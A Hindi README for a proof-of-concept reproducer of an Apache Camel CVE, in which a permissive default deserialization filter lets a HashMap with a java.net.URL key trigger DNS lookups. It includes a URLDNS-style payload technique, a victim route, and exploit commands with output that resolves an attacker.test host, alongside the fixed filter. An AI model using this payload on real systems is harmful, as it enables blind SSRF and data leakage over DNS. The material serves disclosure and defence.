
CVE-2026-42527 के लिए पुनरुत्पादक — Apache Camel अनुमत डिफ़ॉल्ट ObjectInputFilter java.net.URL स्वीकार करता है, जिससे DNS-आधारित आउट-ऑफ-बैंड साइड चैनल सक्षम होता है
यह प्रोजेक्ट अपाचे कैमल में CVE-2026-42527 को प्रदर्शित करता है। डिफ़ॉल्ट ObjectInputFilter पैटर्न जो
कई कैमल घटक डिफेंस-इन-डेप्थ डिसीरियलाइज़ेशन फ़िल्टरिंग के लिए शिप करते हैं —
java.**;javax.**;org.apache.camel.**;!* — एक रिकर्सिव java.** ग्लोब का उपयोग करता है जो java.net.URL को
स्वीकार करता है। java.net.URL.hashCode() URL के होस्ट का DNS रिज़ॉल्यूशन करता है, इसलिए एक HashMap (या कोई भी
संग्रह जो अपने तत्वों को हैश करता है) जिसमें java.net.URL कुंजी है, को डिसीरियलाइज़ करने से JVM डिसीरियलाइज़ेशन के दौरान
एक हमलावर-आपूर्ति किए गए होस्ट के लिए DNS क्वेरी जारी करता है। क्लास-स्तरीय फ़िल्टर जाँच पास हो जाती है (परिणामी ऑब्जेक्ट
एक HashMap है, जो अनुमति-सूची में है), इसलिए इसे रोकने वाला कुछ भी नहीं है — एक आउट-ऑफ-बैंड सूचना-प्रकटीकरण साइड
चैनल (RCE नहीं)।
परामर्श: https://camel.apache.org/security/CVE-2026-42527.html
| गुण | मान |
|---|---|
| घटक | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, और एग्रीगेशन रिपॉजिटरी (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| दोष | डिफ़ॉल्ट फ़िल्टर java.**;javax.**;org.apache.camel.**;!* java.net.URL / java.net.InetAddress को स्वीकार करता है |
| CWE | CWE-502 (असुरक्षित डिसीरियलाइज़ेशन) जिससे DNS के माध्यम से आउट-ऑफ-बैंड सूचना प्रकटीकरण / ब्लाइंड SSRF होता है |
| प्रभाव | डिसीरियलाइज़ेशन के दौरान हमलावर-अवलोकनीय DNS क्वेरी (डेटा निष्कर्षण साइड चैनल) |
| प्रभावित संस्करण | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| ठीक किए गए संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| रिपोर्टर | वेंकटरमण कुमार (Securin) और यू बाओ (PayPal) |
यह दोष डिसीरियलाइज़ेशन-सख्तीकरण श्रृंखला (CAMEL-23297/23319/23321/23322/23324) द्वारा पेश किया गया था, जिसने बहुत ही अनुमेय डिफ़ॉल्ट फ़िल्टर जोड़ा। CVE-2026-42527 इसे कसता है।
यह PoC camel-mina 4.18.2 का उपयोग करता है, जहाँ MinaConverter.toObjectInput डिफ़ॉल्ट फ़िल्टर को सीधे
ObjectInputStream पर स्थापित करता है, इसलिए फ़िल्टर गेटिंग नियंत्रण है (एक साफ प्रभावित-बनाम-ठीक किया गया कंट्रास्ट):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
java.** ग्लोब java.net.URL को स्वीकार करता है। HashMap<URL, ...> के डिसीरियलाइज़ेशन पर, HashMap.readObject()
प्रविष्टि को पुनः सम्मिलित करता है और hash(key) → URL.hashCode() → InetAddress.getByName(host) की गणना करता है → हमलावर के होस्ट के लिए एक DNS क्वेरी। 4.18.3 / 4.21.0 फिक्स एक अस्वीकार को प्रस्तुत करता है:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
अब java.net.URL को डिसीरियलाइज़ेशन के दौरान अस्वीकार कर दिया जाता है (InvalidClassException: filter status: REJECTED)
इससे पहले कि hashCode() कभी चले — कोई DNS क्वेरी नहीं।
सबसे अधिक वास्तविक जोखिम camel-jms परिवार का है, जहाँ
JmsBinding.extractBodyFromJmsबिना शर्तObjectMessage.getObject()को कॉल करता है जबmapJmsMessage=true(डिफ़ॉल्ट)। यह PoC camel-mina का उपयोग करता है क्योंकि यह स्व-निहित है (कोई ब्रोकर नहीं) और फ़िल्टर सीधे स्ट्रीम पर बैठता है।
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() JVM के रिज़ॉल्वर के माध्यम से होस्ट को हल करता है। उस लुकअप को नियतात्मक रूप से
और ऑफ़लाइन देखने के लिए, ऐप एक कस्टम java.net.spi.InetAddressResolverProvider (JDK 18+, JEP 418) पंजीकृत करता है जो
हमलावर मार्कर वाले किसी भी होस्टनाम को रिकॉर्ड करता है और इसे लूपबैक स्टब के साथ उत्तर देता है। हमलावर
होस्ट को रिज़ॉल्वर तक पहुँचते देखना ही आउट-ऑफ-बैंड साइड चैनल का फायर होना है।
पेलोड क्लासिक ysoserial URLDNS ट्रिक के साथ बनाया गया है: URL के कैश्ड hashCode फ़ील्ड को
पहले से बीज दिया जाता है ताकि इसे बिल्डर पक्ष पर मानचित्र में सम्मिलित करने से होस्ट हल न हो, फिर इसे -1 पर रीसेट करें
ताकि लुकअप केवल तब हो जब पीड़ित डिसीरियलाइज़ करता है। (उस रिफ्लेक्शन के लिए --add-opens java.base/java.net की आवश्यकता है —
एक पेलोड-निर्माण विवरण, भेद्यता से असंबंधित।)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true का अर्थ है कि हमलावर के HashMap<URL> के डिसीरियलाइज़ेशन ने हमलावर होस्ट को हल किया — एक
हमलावर-नियंत्रित DNS सर्वर वह क्वेरी देखेगा।
कठोर JVM-व्यापी फ़िल्टर के साथ चलाएँ (जिसे toObjectInput सम्मानित करता है, और जो 4.18.3 फिक्स को दर्शाता है):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
कोई भी प्रभावित कैमल उपभोक्ता जो डिफ़ॉल्ट फ़िल्टर के तहत हमलावर-नियंत्रित बाइट्स को डिसीरियलाइज़ करता है — विशेष रूप से
एक camel-jms/sjms/amqp उपभोक्ता जिसमें mapJmsMessage=true, या mina/netty/vertx-http/infinispan और
एग्रीगेशन-रिपॉजिटरी घटक — जहाँ हमलावर HashMap<URL> (या java.net.URL का कोई भी हैशिंग संग्रह) वितरित कर सकता है।
deserializationFilter / -Djdk.serialFilter ओवरराइड नहीं, और कोई प्रदाता-पक्ष अनुमति-सूची नहीं)।java.net.URL रख सकता है। कोई गैजेट लाइब्रेरी आवश्यक नहीं है —
केवल स्टॉक JDK क्लासेज।